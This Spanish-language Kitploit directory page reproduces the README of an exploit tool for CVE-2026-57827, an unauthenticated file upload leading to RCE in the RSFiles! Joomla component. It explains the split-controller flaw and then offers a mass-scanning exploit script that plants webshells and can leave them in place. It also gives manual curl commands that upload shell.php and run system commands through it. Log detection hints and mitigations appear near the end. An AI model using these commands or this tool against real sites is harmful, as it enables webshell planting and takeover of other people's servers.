Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-57827 — CVE-2026-57827 — Componente RSFiles! para Joomla: Carga de archivos no autenticada con ejecución remota de código (RCE). Omisión de carga mediante controlador dividido. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12 | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-57827
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónSeguridad WebPruebas de PenetraciónRed TeamingHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubshinthink/cve-2026-57827

CVE-2026-57827

15217hace 2 mesesAún no revisado

CVE-2026-57827 — Componente RSFiles! para Joomla: Carga de archivos no autenticada con ejecución remota de código (RCE). Omisión de carga mediante controlador dividido. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-57827 — Componente RSFiles! de Joomla: RCE por subida de archivos no autenticada

Bypass de subida por controlador dividido → Tarea de escritura directa → /downloads/shell.php → RCE


Resumen

CVE-2026-57827 es una vulnerabilidad de subida arbitraria de archivos no autenticada de severidad crítica (CVSS 9.8) en RSFiles! (com_rsfiles), un componente de gestión de archivos y descargas muy utilizado para Joomla, en versiones < 1.17.12.

La vulnerabilidad explota un fallo de diseño de controlador dividido: RSFiles! separa su subida en dos tareas de frontend — una comprobación previa (puerta de permisos + lista blanca de extensiones) y un método de escritura (guarda el archivo en disco). El método de escritura puede invocarse directamente, omitiendo por completo la comprobación previa. No se requiere autenticación ni token CSRF.

Versiones afectadas

VersiónEstado
< 1.17.12Vulnerable
1.17.12+Parcheada

Descubierto por: Phil Taylor, mySites.guru (10 de julio de 2026) Proveedor: RSJoomla (rsjoomla.com) Componente: com_rsfiles


Mecanismo de la vulnerabilidad

Causa raíz

RSFiles! divide su subida en dos tareas de frontend independientes en /components/com_rsfiles/controllers/rsfiles.php:

// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

Por qué funciona

  1. Controlador dividido — Las comprobaciones de seguridad y la escritura del archivo están en dos métodos diferentes. Solo la comprobación previa está protegida.
  2. Acceso directo a la tarea — El controlador de frontend de Joomla permite invocar cualquier tarea directamente mediante &task=rsfiles.upload, omitiendo por completo la comprobación previa.
  3. Sin autenticación — El controlador de frontend no tiene comprobación de acceso. Los visitantes anónimos pueden invocar la tarea de escritura.
  4. Sin token CSRF — El formulario de subida del frontend no tiene token CSRF global del sitio.
  5. Sin validación de tipo de archivo — El método de escritura lee el nombre del archivo de la petición y lo pasa al gestor de subidas incluido en Joomla (JFile::upload()), que acepta cualquier tipo de archivo por defecto.
  6. Carpeta de descargas en la raíz web — La carpeta de descargas por defecto de RSFiles! está dentro de la raíz web. El .htaccess protector que impediría la ejecución de PHP allí es un ajuste de administración opcional que está DESACTIVADO por defecto.

Flujo de ataque

1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

Referencias de código fuente verificadas

ArchivoPropósito
/components/com_rsfiles/controllers/rsfiles.phpControlador con las tareas vulnerables upload() y checkupload()
/components/com_rsfiles/views/upload/tmpl/upload.phpPlantilla del formulario de subida del frontend (confirmado: name="file", task=rsfiles.upload)
/downloads/Carpeta de descargas por defecto en la raíz web (protección .htaccess DESACTIVADA por defecto)
/briefcase/Carpeta del briefcase (también escribible)

Detección en registros del servidor (del aviso de RSJoomla)

Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

Fallo de diseño clave

Las comprobaciones de seguridad (puerta de permisos + lista blanca de extensiones) son un paso previo separado del método que realmente escribe el archivo. Solo la primera contiene las comprobaciones. La segunda — la que escribe en disco — puede invocarse directamente manipulando el parámetro task adecuado en la URL, omitiendo todos los controles de seguridad.

Este es un ejemplo de libro de texto del antipatrón «comprobaciones y acciones en lugares distintos»: la protección y la operación que se supone que debe proteger están desacopladas, y un atacante puede alcanzar la operación sin pasar por la protección.


Instalación

git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests

Uso

# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

Argumentos

  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Prueba de concepto

Objetivo único

$ python cve_2026_57827.py -t joomla-site.com
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

Explotación manual

Paso 1 — Subir el shell

curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

Paso 2 — Acceder al shell

curl 'https://target.com/downloads/shell.php?c=id'

Paso 3 — Ejecutar comandos

curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'

Mitigación (si no es posible actualizar)

# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

Descargar herramienta